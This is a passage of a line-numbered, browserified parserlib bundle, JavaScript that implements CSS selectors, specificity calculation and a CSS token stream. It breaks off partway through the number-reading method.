4211 return str.replace(/\\(\r\n|[^\r0-9a-f]|[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)/ig,
4212 replacer);
4213};
4214
4215/**
4216 * Helper method to serialize a CSS string.
4217 */
4218PropertyValuePart.serializeString = function(value) {
4219 var replacer = function(match, c) {
4220 if (c === "\"") {
4221 return "\\" + c;
4222 }
4223 var cp = String.codePointAt ? String.codePointAt(0) :
4224 // We only escape non-surrogate chars, so using charCodeAt
4225 // is harmless here.
4226 String.charCodeAt(0);
4227 return "\\" + cp.toString(16) + " ";
4228 };
4229 return "\"" + value.replace(/["\r\n\f]/g, replacer) + "\"";
4230};
4231
4232/**
4233 * Create a new syntax unit based solely on the given token.
4234 * Convenience method for creating a new syntax unit when
4235 * it represents a single token instead of multiple.
4236 * @param {Object} token The token object to represent.
4237 * @return {parserlib.css.PropertyValuePart} The object representing the token.
4238 * @static
4239 * @method fromToken
4240 */
4241PropertyValuePart.fromToken = function(token) {
4242 var part = new PropertyValuePart(token.value, token.startLine, token.startCol, {
4243 // Tokens can have escaped characters that would fool the type
4244 // identification in the PropertyValuePart constructor, so pass
4245 // in a hint if this was an identifier.
4246 ident: token.type === Tokens.IDENT
4247 });
4248 return part;
4249};
4250
4251},{"../util/SyntaxUnit":26,"./Colors":1,"./Parser":6,"./Tokens":18}],12:[function(require,module,exports){
4252"use strict";
4253
4254var Pseudos = module.exports = {
4255 __proto__: null,
4256 ":first-letter": 1,
4257 ":first-line": 1,
4258 ":before": 1,
4259 ":after": 1
4260};
4261
4262Pseudos.ELEMENT = 1;
4263Pseudos.CLASS = 2;
4264
4265Pseudos.isElement = function(pseudo) {
4266 return pseudo.indexOf("::") === 0 || Pseudos[pseudo.toLowerCase()] === Pseudos.ELEMENT;
4267};
4268
4269},{}],13:[function(require,module,exports){
4270"use strict";
4271
4272module.exports = Selector;
4273
4274var SyntaxUnit = require("../util/SyntaxUnit");
4275
4276var Parser = require("./Parser");
4277var Specificity = require("./Specificity");
4278
4279/**
4280 * Represents an entire single selector, including all parts but not
4281 * including multiple selectors (those separated by commas).
4282 * @namespace parserlib.css
4283 * @class Selector
4284 * @extends parserlib.util.SyntaxUnit
4285 * @constructor
4286 * @param {Array} parts Array of selectors parts making up this selector.
4287 * @param {int} line The line of text on which the unit resides.
4288 * @param {int} col The column of text on which the unit resides.
4289 */
4290function Selector(parts, line, col) {
4291
4292 SyntaxUnit.call(this, parts.join(" "), line, col, Parser.SELECTOR_TYPE);
4293
4294 /**
4295 * The parts that make up the selector.
4296 * @type Array
4297 * @property parts
4298 */
4299 this.parts = parts;
4300
4301 /**
4302 * The specificity of the selector.
4303 * @type parserlib.css.Specificity
4304 * @property specificity
4305 */
4306 this.specificity = Specificity.calculate(this);
4307
4308}
4309
4310Selector.prototype = new SyntaxUnit();
4311Selector.prototype.constructor = Selector;
4312
4313
4314},{"../util/SyntaxUnit":26,"./Parser":6,"./Specificity":16}],14:[function(require,module,exports){
4315"use strict";
4316
4317module.exports = SelectorPart;
4318
4319var SyntaxUnit = require("../util/SyntaxUnit");
4320
4321var Parser = require("./Parser");
4322
4323/**
4324 * Represents a single part of a selector string, meaning a single set of
4325 * element name and modifiers. This does not include combinators such as
4326 * spaces, +, >, etc.
4327 * @namespace parserlib.css
4328 * @class SelectorPart
4329 * @extends parserlib.util.SyntaxUnit
4330 * @constructor
4331 * @param {String} elementName The element name in the selector or null
4332 * if there is no element name.
4333 * @param {Array} modifiers Array of individual modifiers for the element.
4334 * May be empty if there are none.
4335 * @param {String} text The text representation of the unit.
4336 * @param {int} line The line of text on which the unit resides.
4337 * @param {int} col The column of text on which the unit resides.
4338 */
4339function SelectorPart(elementName, modifiers, text, line, col) {
4340
4341 SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_PART_TYPE);
4342
4343 /**
4344 * The tag name of the element to which this part
4345 * of the selector affects.
4346 * @type String
4347 * @property elementName
4348 */
4349 this.elementName = elementName;
4350
4351 /**
4352 * The parts that come after the element name, such as class names, IDs,
4353 * pseudo classes/elements, etc.
4354 * @type Array
4355 * @property modifiers
4356 */
4357 this.modifiers = modifiers;
4358
4359}
4360
4361SelectorPart.prototype = new SyntaxUnit();
4362SelectorPart.prototype.constructor = SelectorPart;
4363
4364
4365},{"../util/SyntaxUnit":26,"./Parser":6}],15:[function(require,module,exports){
4366"use strict";
4367
4368module.exports = SelectorSubPart;
4369
4370var SyntaxUnit = require("../util/SyntaxUnit");
4371
4372var Parser = require("./Parser");
4373
4374/**
4375 * Represents a selector modifier string, meaning a class name, element name,
4376 * element ID, pseudo rule, etc.
4377 * @namespace parserlib.css
4378 * @class SelectorSubPart
4379 * @extends parserlib.util.SyntaxUnit
4380 * @constructor
4381 * @param {String} text The text representation of the unit.
4382 * @param {String} type The type of selector modifier.
4383 * @param {int} line The line of text on which the unit resides.
4384 * @param {int} col The column of text on which the unit resides.
4385 */
4386function SelectorSubPart(text, type, line, col) {
4387
4388 SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_SUB_PART_TYPE);
4389
4390 /**
4391 * The type of modifier.
4392 * @type String
4393 * @property type
4394 */
4395 this.type = type;
4396
4397 /**
4398 * Some subparts have arguments, this represents them.
4399 * @type Array
4400 * @property args
4401 */
4402 this.args = [];
4403
4404}
4405
4406SelectorSubPart.prototype = new SyntaxUnit();
4407SelectorSubPart.prototype.constructor = SelectorSubPart;
4408
4409
4410},{"../util/SyntaxUnit":26,"./Parser":6}],16:[function(require,module,exports){
4411"use strict";
4412
4413module.exports = Specificity;
4414
4415var Pseudos = require("./Pseudos");
4416var SelectorPart = require("./SelectorPart");
4417
4418/**
4419 * Represents a selector's specificity.
4420 * @namespace parserlib.css
4421 * @class Specificity
4422 * @constructor
4423 * @param {int} a Should be 1 for inline styles, zero for stylesheet styles
4424 * @param {int} b Number of ID selectors
4425 * @param {int} c Number of classes and pseudo classes
4426 * @param {int} d Number of element names and pseudo elements
4427 */
4428function Specificity(a, b, c, d) {
4429 this.a = a;
4430 this.b = b;
4431 this.c = c;
4432 this.d = d;
4433}
4434
4435Specificity.prototype = {
4436 constructor: Specificity,
4437
4438 /**
4439 * Compare this specificity to another.
4440 * @param {Specificity} other The other specificity to compare to.
4441 * @return {int} -1 if the other specificity is larger, 1 if smaller, 0 if equal.
4442 * @method compare
4443 */
4444 compare: function(other) {
4445 var comps = ["a", "b", "c", "d"],
4446 i, len;
4447
4448 for (i=0, len=comps.length; i < len; i++) {
4449 if (this[comps[i]] < other[comps[i]]) {
4450 return -1;
4451 } else if (this[comps[i]] > other[comps[i]]) {
4452 return 1;
4453 }
4454 }
4455
4456 return 0;
4457 },
4458
4459 /**
4460 * Creates a numeric value for the specificity.
4461 * @return {int} The numeric value for the specificity.
4462 * @method valueOf
4463 */
4464 valueOf: function() {
4465 return (this.a * 1000) + (this.b * 100) + (this.c * 10) + this.d;
4466 },
4467
4468 /**
4469 * Returns a string representation for specificity.
4470 * @return {String} The string representation of specificity.
4471 * @method toString
4472 */
4473 toString: function() {
4474 return this.a + "," + this.b + "," + this.c + "," + this.d;
4475 }
4476
4477};
4478
4479/**
4480 * Calculates the specificity of the given selector.
4481 * @param {parserlib.css.Selector} The selector to calculate specificity for.
4482 * @return {parserlib.css.Specificity} The specificity of the selector.
4483 * @static
4484 * @method calculate
4485 */
4486Specificity.calculate = function(selector) {
4487
4488 var i, len,
4489 part,
4490 b=0, c=0, d=0;
4491
4492 function updateValues(part) {
4493
4494 var i, j, len, num,
4495 elementName = part.elementName ? part.elementName.text : "",
4496 modifier;
4497
4498 if (elementName && elementName.charAt(elementName.length-1) !== "*") {
4499 d++;
4500 }
4501
4502 for (i=0, len=part.modifiers.length; i < len; i++) {
4503 modifier = part.modifiers[i];
4504 switch (modifier.type) {
4505 case "class":
4506 case "attribute":
4507 c++;
4508 break;
4509
4510 case "id":
4511 b++;
4512 break;
4513
4514 case "pseudo":
4515 if (Pseudos.isElement(modifier.text)) {
4516 d++;
4517 } else {
4518 c++;
4519 }
4520 break;
4521
4522 case "not":
4523 for (j=0, num=modifier.args.length; j < num; j++) {
4524 updateValues(modifier.args[j]);
4525 }
4526 }
4527 }
4528 }
4529
4530 for (i=0, len=selector.parts.length; i < len; i++) {
4531 part = selector.parts[i];
4532
4533 if (part instanceof SelectorPart) {
4534 updateValues(part);
4535 }
4536 }
4537
4538 return new Specificity(0, b, c, d);
4539};
4540
4541},{"./Pseudos":12,"./SelectorPart":14}],17:[function(require,module,exports){
4542"use strict";
4543
4544module.exports = TokenStream;
4545
4546var TokenStreamBase = require("../util/TokenStreamBase");
4547
4548var PropertyValuePart = require("./PropertyValuePart");
4549var Tokens = require("./Tokens");
4550
4551var h = /^[0-9a-fA-F]$/,
4552 nonascii = /^[\u00A0-\uFFFF]$/,
4553 nl = /\n|\r\n|\r|\f/,
4554 whitespace = /\u0009|\u000a|\u000c|\u000d|\u0020/;
4555
4556//-----------------------------------------------------------------------------
4557// Helper functions
4558//-----------------------------------------------------------------------------
4559
4560
4561function isHexDigit(c) {
4562 return c !== null && h.test(c);
4563}
4564
4565function isDigit(c) {
4566 return c !== null && /\d/.test(c);
4567}
4568
4569function isWhitespace(c) {
4570 return c !== null && whitespace.test(c);
4571}
4572
4573function isNewLine(c) {
4574 return c !== null && nl.test(c);
4575}
4576
4577function isNameStart(c) {
4578 return c !== null && /[a-z_\u00A0-\uFFFF\\]/i.test(c);
4579}
4580
4581function isNameChar(c) {
4582 return c !== null && (isNameStart(c) || /[0-9\-\\]/.test(c));
4583}
4584
4585function isIdentStart(c) {
4586 return c !== null && (isNameStart(c) || /\-\\/.test(c));
4587}
4588
4589function mix(receiver, supplier) {
4590 for (var prop in supplier) {
4591 if (Object.prototype.hasOwnProperty.call(supplier, prop)) {
4592 receiver[prop] = supplier[prop];
4593 }
4594 }
4595 return receiver;
4596}
4597
4598//-----------------------------------------------------------------------------
4599// CSS Token Stream
4600//-----------------------------------------------------------------------------
4601
4602
4603/**
4604 * A token stream that produces CSS tokens.
4605 * @param {String|Reader} input The source of text to tokenize.
4606 * @constructor
4607 * @class TokenStream
4608 * @namespace parserlib.css
4609 */
4610function TokenStream(input) {
4611 TokenStreamBase.call(this, input, Tokens);
4612}
4613
4614TokenStream.prototype = mix(new TokenStreamBase(), {
4615
4616 /**
4617 * Overrides the TokenStreamBase method of the same name
4618 * to produce CSS tokens.
4619 * @return {Object} A token object representing the next token.
4620 * @method _getToken
4621 * @private
4622 */
4623 _getToken: function() {
4624
4625 var c,
4626 reader = this._reader,
4627 token = null,
4628 startLine = reader.getLine(),
4629 startCol = reader.getCol();
4630
4631 c = reader.read();
4632
4633
4634 while (c) {
4635 switch (c) {
4636
4637 /*
4638 * Potential tokens:
4639 * - COMMENT
4640 * - SLASH
4641 * - CHAR
4642 */
4643 case "/":
4644
4645 if (reader.peek() === "*") {
4646 token = this.commentToken(c, startLine, startCol);
4647 } else {
4648 token = this.charToken(c, startLine, startCol);
4649 }
4650 break;
4651
4652 /*
4653 * Potential tokens:
4654 * - DASHMATCH
4655 * - INCLUDES
4656 * - PREFIXMATCH
4657 * - SUFFIXMATCH
4658 * - SUBSTRINGMATCH
4659 * - CHAR
4660 */
4661 case "|":
4662 case "~":
4663 case "^":
4664 case "$":
4665 case "*":
4666 if (reader.peek() === "=") {
4667 token = this.comparisonToken(c, startLine, startCol);
4668 } else {
4669 token = this.charToken(c, startLine, startCol);
4670 }
4671 break;
4672
4673 /*
4674 * Potential tokens:
4675 * - STRING
4676 * - INVALID
4677 */
4678 case "\"":
4679 case "'":
4680 token = this.stringToken(c, startLine, startCol);
4681 break;
4682
4683 /*
4684 * Potential tokens:
4685 * - HASH
4686 * - CHAR
4687 */
4688 case "#":
4689 if (isNameChar(reader.peek())) {
4690 token = this.hashToken(c, startLine, startCol);
4691 } else {
4692 token = this.charToken(c, startLine, startCol);
4693 }
4694 break;
4695
4696 /*
4697 * Potential tokens:
4698 * - DOT
4699 * - NUMBER
4700 * - DIMENSION
4701 * - PERCENTAGE
4702 */
4703 case ".":
4704 if (isDigit(reader.peek())) {
4705 token = this.numberToken(c, startLine, startCol);
4706 } else {
4707 token = this.charToken(c, startLine, startCol);
4708 }
4709 break;
4710
4711 /*
4712 * Potential tokens:
4713 * - CDC
4714 * - MINUS
4715 * - NUMBER
4716 * - DIMENSION
4717 * - PERCENTAGE
4718 */
4719 case "-":
4720 if (reader.peek() === "-") { //could be closing HTML-style comment
4721 token = this.htmlCommentEndToken(c, startLine, startCol);
4722 } else if (isNameStart(reader.peek())) {
4723 token = this.identOrFunctionToken(c, startLine, startCol);
4724 } else {
4725 token = this.charToken(c, startLine, startCol);
4726 }
4727 break;
4728
4729 /*
4730 * Potential tokens:
4731 * - IMPORTANT_SYM
4732 * - CHAR
4733 */
4734 case "!":
4735 token = this.importantToken(c, startLine, startCol);
4736 break;
4737
4738 /*
4739 * Any at-keyword or CHAR
4740 */
4741 case "@":
4742 token = this.atRuleToken(c, startLine, startCol);
4743 break;
4744
4745 /*
4746 * Potential tokens:
4747 * - NOT
4748 * - CHAR
4749 */
4750 case ":":
4751 token = this.notToken(c, startLine, startCol);
4752 break;
4753
4754 /*
4755 * Potential tokens:
4756 * - CDO
4757 * - CHAR
4758 */
4759 case "<":
4760 token = this.htmlCommentStartToken(c, startLine, startCol);
4761 break;
4762
4763 /*
4764 * Potential tokens:
4765 * - IDENT
4766 * - CHAR
4767 */
4768 case "\\":
4769 if (/[^\r\n\f]/.test(reader.peek())) {
4770 token = this.identOrFunctionToken(this.readEscape(c, true), startLine, startCol);
4771 } else {
4772 token = this.charToken(c, startLine, startCol);
4773 }
4774 break;
4775
4776 /*
4777 * Potential tokens:
4778 * - UNICODE_RANGE
4779 * - URL
4780 * - CHAR
4781 */
4782 case "U":
4783 case "u":
4784 if (reader.peek() === "+") {
4785 token = this.unicodeRangeToken(c, startLine, startCol);
4786 break;
4787 }
4788 /* falls through */
4789 default:
4790
4791 /*
4792 * Potential tokens:
4793 * - NUMBER
4794 * - DIMENSION
4795 * - LENGTH
4796 * - FREQ
4797 * - TIME
4798 * - EMS
4799 * - EXS
4800 * - ANGLE
4801 */
4802 if (isDigit(c)) {
4803 token = this.numberToken(c, startLine, startCol);
4804 } else
4805
4806 /*
4807 * Potential tokens:
4808 * - S
4809 */
4810 if (isWhitespace(c)) {
4811 token = this.whitespaceToken(c, startLine, startCol);
4812 } else
4813
4814 /*
4815 * Potential tokens:
4816 * - IDENT
4817 */
4818 if (isIdentStart(c)) {
4819 token = this.identOrFunctionToken(c, startLine, startCol);
4820 } else {
4821 /*
4822 * Potential tokens:
4823 * - CHAR
4824 * - PLUS
4825 */
4826 token = this.charToken(c, startLine, startCol);
4827 }
4828
4829 }
4830
4831 //make sure this token is wanted
4832 //TODO: check channel
4833 break;
4834 }
4835
4836 if (!token && c === null) {
4837 token = this.createToken(Tokens.EOF, null, startLine, startCol);
4838 }
4839
4840 return token;
4841 },
4842
4843 //-------------------------------------------------------------------------
4844 // Methods to create tokens
4845 //-------------------------------------------------------------------------
4846
4847 /**
4848 * Produces a token based on available data and the current
4849 * reader position information. This method is called by other
4850 * private methods to create tokens and is never called directly.
4851 * @param {int} tt The token type.
4852 * @param {String} value The text value of the token.
4853 * @param {int} startLine The beginning line for the character.
4854 * @param {int} startCol The beginning column for the character.
4855 * @param {Object} options (Optional) Specifies a channel property
4856 * to indicate that a different channel should be scanned
4857 * and/or a hide property indicating that the token should
4858 * be hidden.
4859 * @return {Object} A token object.
4860 * @method createToken
4861 */
4862 createToken: function(tt, value, startLine, startCol, options) {
4863 var reader = this._reader;
4864 options = options || {};
4865
4866 return {
4867 value: value,
4868 type: tt,
4869 channel: options.channel,
4870 endChar: options.endChar,
4871 hide: options.hide || false,
4872 startLine: startLine,
4873 startCol: startCol,
4874 endLine: reader.getLine(),
4875 endCol: reader.getCol()
4876 };
4877 },
4878
4879 //-------------------------------------------------------------------------
4880 // Methods to create specific tokens
4881 //-------------------------------------------------------------------------
4882
4883 /**
4884 * Produces a token for any at-rule. If the at-rule is unknown, then
4885 * the token is for a single "@" character.
4886 * @param {String} first The first character for the token.
4887 * @param {int} startLine The beginning line for the character.
4888 * @param {int} startCol The beginning column for the character.
4889 * @return {Object} A token object.
4890 * @method atRuleToken
4891 */
4892 atRuleToken: function(first, startLine, startCol) {
4893 var rule = first,
4894 reader = this._reader,
4895 tt = Tokens.CHAR,
4896 ident;
4897
4898 /*
4899 * First, mark where we are. There are only four @ rules,
4900 * so anything else is really just an invalid token.
4901 * Basically, if this doesn't match one of the known @
4902 * rules, just return '@' as an unknown token and allow
4903 * parsing to continue after that point.
4904 */
4905 reader.mark();
4906
4907 //try to find the at-keyword
4908 ident = this.readName();
4909 rule = first + ident;
4910 tt = Tokens.type(rule.toLowerCase());
4911
4912 //if it's not valid, use the first character only and reset the reader
4913 if (tt === Tokens.CHAR || tt === Tokens.UNKNOWN) {
4914 if (rule.length > 1) {
4915 tt = Tokens.UNKNOWN_SYM;
4916 } else {
4917 tt = Tokens.CHAR;
4918 rule = first;
4919 reader.reset();
4920 }
4921 }
4922
4923 return this.createToken(tt, rule, startLine, startCol);
4924 },
4925
4926 /**
4927 * Produces a character token based on the given character
4928 * and location in the stream. If there's a special (non-standard)
4929 * token name, this is used; otherwise CHAR is used.
4930 * @param {String} c The character for the token.
4931 * @param {int} startLine The beginning line for the character.
4932 * @param {int} startCol The beginning column for the character.
4933 * @return {Object} A token object.
4934 * @method charToken
4935 */
4936 charToken: function(c, startLine, startCol) {
4937 var tt = Tokens.type(c);
4938 var opts = {};
4939
4940 if (tt === -1) {
4941 tt = Tokens.CHAR;
4942 } else {
4943 opts.endChar = Tokens[tt].endChar;
4944 }
4945
4946 return this.createToken(tt, c, startLine, startCol, opts);
4947 },
4948
4949 /**
4950 * Produces a character token based on the given character
4951 * and location in the stream. If there's a special (non-standard)
4952 * token name, this is used; otherwise CHAR is used.
4953 * @param {String} first The first character for the token.
4954 * @param {int} startLine The beginning line for the character.
4955 * @param {int} startCol The beginning column for the character.
4956 * @return {Object} A token object.
4957 * @method commentToken
4958 */
4959 commentToken: function(first, startLine, startCol) {
4960 var comment = this.readComment(first);
4961
4962 return this.createToken(Tokens.COMMENT, comment, startLine, startCol);
4963 },
4964
4965 /**
4966 * Produces a comparison token based on the given character
4967 * and location in the stream. The next character must be
4968 * read and is already known to be an equals sign.
4969 * @param {String} c The character for the token.
4970 * @param {int} startLine The beginning line for the character.
4971 * @param {int} startCol The beginning column for the character.
4972 * @return {Object} A token object.
4973 * @method comparisonToken
4974 */
4975 comparisonToken: function(c, startLine, startCol) {
4976 var reader = this._reader,
4977 comparison = c + reader.read(),
4978 tt = Tokens.type(comparison) || Tokens.CHAR;
4979
4980 return this.createToken(tt, comparison, startLine, startCol);
4981 },
4982
4983 /**
4984 * Produces a hash token based on the specified information. The
4985 * first character provided is the pound sign (#) and then this
4986 * method reads a name afterward.
4987 * @param {String} first The first character (#) in the hash name.
4988 * @param {int} startLine The beginning line for the character.
4989 * @param {int} startCol The beginning column for the character.
4990 * @return {Object} A token object.
4991 * @method hashToken
4992 */
4993 hashToken: function(first, startLine, startCol) {
4994 var name = this.readName(first);
4995
4996 return this.createToken(Tokens.HASH, name, startLine, startCol);
4997 },
4998
4999 /**
5000 * Produces a CDO or CHAR token based on the specified information. The
5001 * first character is provided and the rest is read by the function to determine
5002 * the correct token to create.
5003 * @param {String} first The first character in the token.
5004 * @param {int} startLine The beginning line for the character.
5005 * @param {int} startCol The beginning column for the character.
5006 * @return {Object} A token object.
5007 * @method htmlCommentStartToken
5008 */
5009 htmlCommentStartToken: function(first, startLine, startCol) {
5010 var reader = this._reader,
5011 text = first;
5012
5013 reader.mark();
5014 text += reader.readCount(3);
5015
5016 if (text === "<!--") {
5017 return this.createToken(Tokens.CDO, text, startLine, startCol);
5018 } else {
5019 reader.reset();
5020 return this.charToken(first, startLine, startCol);
5021 }
5022 },
5023
5024 /**
5025 * Produces a CDC or CHAR token based on the specified information. The
5026 * first character is provided and the rest is read by the function to determine
5027 * the correct token to create.
5028 * @param {String} first The first character in the token.
5029 * @param {int} startLine The beginning line for the character.
5030 * @param {int} startCol The beginning column for the character.
5031 * @return {Object} A token object.
5032 * @method htmlCommentEndToken
5033 */
5034 htmlCommentEndToken: function(first, startLine, startCol) {
5035 var reader = this._reader,
5036 text = first;
5037
5038 reader.mark();
5039 text += reader.readCount(2);
5040
5041 if (text === "-->") {
5042 return this.createToken(Tokens.CDC, text, startLine, startCol);
5043 } else {
5044 reader.reset();
5045 return this.charToken(first, startLine, startCol);
5046 }
5047 },
5048
5049 /**
5050 * Produces an IDENT or FUNCTION token based on the specified information. The
5051 * first character is provided and the rest is read by the function to determine
5052 * the correct token to create.
5053 * @param {String} first The first character in the identifier.
5054 * @param {int} startLine The beginning line for the character.
5055 * @param {int} startCol The beginning column for the character.
5056 * @return {Object} A token object.
5057 * @method identOrFunctionToken
5058 */
5059 identOrFunctionToken: function(first, startLine, startCol) {
5060 var reader = this._reader,
5061 ident = this.readName(first),
5062 tt = Tokens.IDENT,
5063 uriFns = ["url(", "url-prefix(", "domain("],
5064 uri;
5065
5066 //if there's a left paren immediately after, it's a URI or function
5067 if (reader.peek() === "(") {
5068 ident += reader.read();
5069 if (uriFns.indexOf(ident.toLowerCase()) > -1) {
5070 reader.mark();
5071 uri = this.readURI(ident);
5072 if (uri === null) {
5073 //didn't find a valid URL or there's no closing paren
5074 reader.reset();
5075 tt = Tokens.FUNCTION;
5076 } else {
5077 tt = Tokens.URI;
5078 ident = uri;
5079 }
5080 } else {
5081 tt = Tokens.FUNCTION;
5082 }
5083 } else if (reader.peek() === ":") { //might be an IE function
5084
5085 //IE-specific functions always being with progid:
5086 if (ident.toLowerCase() === "progid") {
5087 ident += reader.readTo("(");
5088 tt = Tokens.IE_FUNCTION;
5089 }
5090 }
5091
5092 return this.createToken(tt, ident, startLine, startCol);
5093 },
5094
5095 /**
5096 * Produces an IMPORTANT_SYM or CHAR token based on the specified information. The
5097 * first character is provided and the rest is read by the function to determine
5098 * the correct token to create.
5099 * @param {String} first The first character in the token.
5100 * @param {int} startLine The beginning line for the character.
5101 * @param {int} startCol The beginning column for the character.
5102 * @return {Object} A token object.
5103 * @method importantToken
5104 */
5105 importantToken: function(first, startLine, startCol) {
5106 var reader = this._reader,
5107 important = first,
5108 tt = Tokens.CHAR,
5109 temp,
5110 c;
5111
5112 reader.mark();
5113 c = reader.read();
5114
5115 while (c) {
5116
5117 //there can be a comment in here
5118 if (c === "/") {
5119
5120 //if the next character isn't a star, then this isn't a valid !important token
5121 if (reader.peek() !== "*") {
5122 break;
5123 } else {
5124 temp = this.readComment(c);
5125 if (temp === "") { //broken!
5126 break;
5127 }
5128 }
5129 } else if (isWhitespace(c)) {
5130 important += c + this.readWhitespace();
5131 } else if (/i/i.test(c)) {
5132 temp = reader.readCount(8);
5133 if (/mportant/i.test(temp)) {
5134 important += c + temp;
5135 tt = Tokens.IMPORTANT_SYM;
5136
5137 }
5138 break; //we're done
5139 } else {
5140 break;
5141 }
5142
5143 c = reader.read();
5144 }
5145
5146 if (tt === Tokens.CHAR) {
5147 reader.reset();
5148 return this.charToken(first, startLine, startCol);
5149 } else {
5150 return this.createToken(tt, important, startLine, startCol);
5151 }
5152
5153
5154 },
5155
5156 /**
5157 * Produces a NOT or CHAR token based on the specified information. The
5158 * first character is provided and the rest is read by the function to determine
5159 * the correct token to create.
5160 * @param {String} first The first character in the token.
5161 * @param {int} startLine The beginning line for the character.
5162 * @param {int} startCol The beginning column for the character.
5163 * @return {Object} A token object.
5164 * @method notToken
5165 */
5166 notToken: function(first, startLine, startCol) {
5167 var reader = this._reader,
5168 text = first;
5169
5170 reader.mark();
5171 text += reader.readCount(4);
5172
5173 if (text.toLowerCase() === ":not(") {
5174 return this.createToken(Tokens.NOT, text, startLine, startCol);
5175 } else {
5176 reader.reset();
5177 return this.charToken(first, startLine, startCol);
5178 }
5179 },
5180
5181 /**
5182 * Produces a number token based on the given character
5183 * and location in the stream. This may return a token of
5184 * NUMBER, EMS, EXS, LENGTH, ANGLE, TIME, FREQ, DIMENSION,
5185 * or PERCENTAGE.
5186 * @param {String} first The first character for the token.
5187 * @param {int} startLine The beginning line for the character.
5188 * @param {int} startCol The beginning column for the character.
5189 * @return {Object} A token object.
5190 * @method numberToken
5191 */
5192 numberToken: function(first, startLine, startCol) {
5193 var reader = this._reader,
5194 value = this.readNumber(first),
5195 ident,
5196 tt = Tokens.NUMBER,
5197 c = reader.peek();
5198
5199 if (isIdentStart(c)) {
5200 ident = this.readName(reader.read());
5201 value += ident;
5202
5203 if (/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(ident)) {
5204 tt = Tokens.LENGTH;
5205 } else if (/^deg|^rad$|^grad$|^turn$/i.test(ident)) {
5206 tt = Tokens.ANGLE;
5207 } else if (/^ms$|^s$/i.test(ident)) {
5208 tt = Tokens.TIME;
5209 } else if (/^hz$|^khz$/i.test(ident)) {
5210 tt = Tokens.FREQ;
5211 } else if (/^dpi$|^dpcm$/i.test(ident)) {
5212 tt = Tokens.RESOLUTION;
5213 } else {
5214 tt = Tokens.DIMENSION;
5215 }
5216
5217 } else if (c === "%") {
5218 value += reader.read();
5219 tt = Tokens.PERCENTAGE;
5220 }
5221
5222 return this.createToken(tt, value, startLine, startCol);
5223 },
5224
5225 /**
5226 * Produces a string token based on the given character
5227 * and location in the stream. Since strings may be indicated
5228 * by single or double quotes, a failure to match starting
5229 * and ending quotes results in an INVALID token being generated.
5230 * The first character in the string is passed in and then
5231 * the rest are read up to and including the final quotation mark.
5232 * @param {String} first The first character in the string.
5233 * @param {int} startLine The beginning line for the character.
5234 * @param {int} startCol The beginning column for the character.
5235 * @return {Object} A token object.
5236 * @method stringToken
5237 */
5238 stringToken: function(first, startLine, startCol) {
5239 var delim = first,
5240 string = first,
5241 reader = this._reader,
5242 tt = Tokens.STRING,
5243 c = reader.read(),
5244 i;
5245
5246 while (c) {
5247 string += c;
5248
5249 if (c === "\\") {
5250 c = reader.read();
5251 if (c === null) {
5252 break; // premature EOF after backslash
5253 } else if (/[^\r\n\f0-9a-f]/i.test(c)) {
5254 // single-character escape
5255 string += c;
5256 } else {
5257 // read up to six hex digits
5258 for (i=0; isHexDigit(c) && i<6; i++) {
5259 string += c;
5260 c = reader.read();
5261 }
5262 // swallow trailing newline or space
5263 if (c === "\r" && reader.peek() === "\n") {
5264 string += c;
5265 c = reader.read();
5266 }
5267 if (isWhitespace(c)) {
5268 string += c;
5269 } else {
5270 // This character is null or not part of the escape;
5271 // jump back to the top to process it.
5272 continue;
5273 }
5274 }
5275 } else if (c === delim) {
5276 break; // delimiter found.
5277 } else if (isNewLine(reader.peek())) {
5278 // newline without an escapement: it's an invalid string
5279 tt = Tokens.INVALID;
5280 break;
5281 }
5282 c = reader.read();
5283 }
5284
5285 //if c is null, that means we're out of input and the string was never closed
5286 if (c === null) {
5287 tt = Tokens.INVALID;
5288 }
5289
5290 return this.createToken(tt, string, startLine, startCol);
5291 },
5292
5293 unicodeRangeToken: function(first, startLine, startCol) {
5294 var reader = this._reader,
5295 value = first,
5296 temp,
5297 tt = Tokens.CHAR;
5298
5299 //then it should be a unicode range
5300 if (reader.peek() === "+") {
5301 reader.mark();
5302 value += reader.read();
5303 value += this.readUnicodeRangePart(true);
5304
5305 //ensure there's an actual unicode range here
5306 if (value.length === 2) {
5307 reader.reset();
5308 } else {
5309
5310 tt = Tokens.UNICODE_RANGE;
5311
5312 //if there's a ? in the first part, there can't be a second part
5313 if (value.indexOf("?") === -1) {
5314
5315 if (reader.peek() === "-") {
5316 reader.mark();
5317 temp = reader.read();
5318 temp += this.readUnicodeRangePart(false);
5319
5320 //if there's not another value, back up and just take the first
5321 if (temp.length === 1) {
5322 reader.reset();
5323 } else {
5324 value += temp;
5325 }
5326 }
5327
5328 }
5329 }
5330 }
5331
5332 return this.createToken(tt, value, startLine, startCol);
5333 },
5334
5335 /**
5336 * Produces a S token based on the specified information. Since whitespace
5337 * may have multiple characters, this consumes all whitespace characters
5338 * into a single token.
5339 * @param {String} first The first character in the token.
5340 * @param {int} startLine The beginning line for the character.
5341 * @param {int} startCol The beginning column for the character.
5342 * @return {Object} A token object.
5343 * @method whitespaceToken
5344 */
5345 whitespaceToken: function(first, startLine, startCol) {
5346 var value = first + this.readWhitespace();
5347 return this.createToken(Tokens.S, value, startLine, startCol);
5348 },
5349
5350
5351 //-------------------------------------------------------------------------
5352 // Methods to read values from the string stream
5353 //-------------------------------------------------------------------------
5354
5355 readUnicodeRangePart: function(allowQuestionMark) {
5356 var reader = this._reader,
5357 part = "",
5358 c = reader.peek();
5359
5360 //first read hex digits
5361 while (isHexDigit(c) && part.length < 6) {
5362 reader.read();
5363 part += c;
5364 c = reader.peek();
5365 }
5366
5367 //then read question marks if allowed
5368 if (allowQuestionMark) {
5369 while (c === "?" && part.length < 6) {
5370 reader.read();
5371 part += c;
5372 c = reader.peek();
5373 }
5374 }
5375
5376 //there can't be any other characters after this point
5377
5378 return part;
5379 },
5380
5381 readWhitespace: function() {
5382 var reader = this._reader,
5383 whitespace = "",
5384 c = reader.peek();
5385
5386 while (isWhitespace(c)) {
5387 reader.read();
5388 whitespace += c;
5389 c = reader.peek();
5390 }
5391
5392 return whitespace;
5393 },
5394 readNumber: function(first) {
5395 var reader = this._reader,
5396 number = first,
5397 hasDot = (first === "."),
5398 c = reader.peek();
5399
5400
5401 while (c) {
5402 if (isDigit(c)) {
5403 number += reader.read();
5404 } else if (c === ".") {
5405 if (hasDot) {
5406 break;
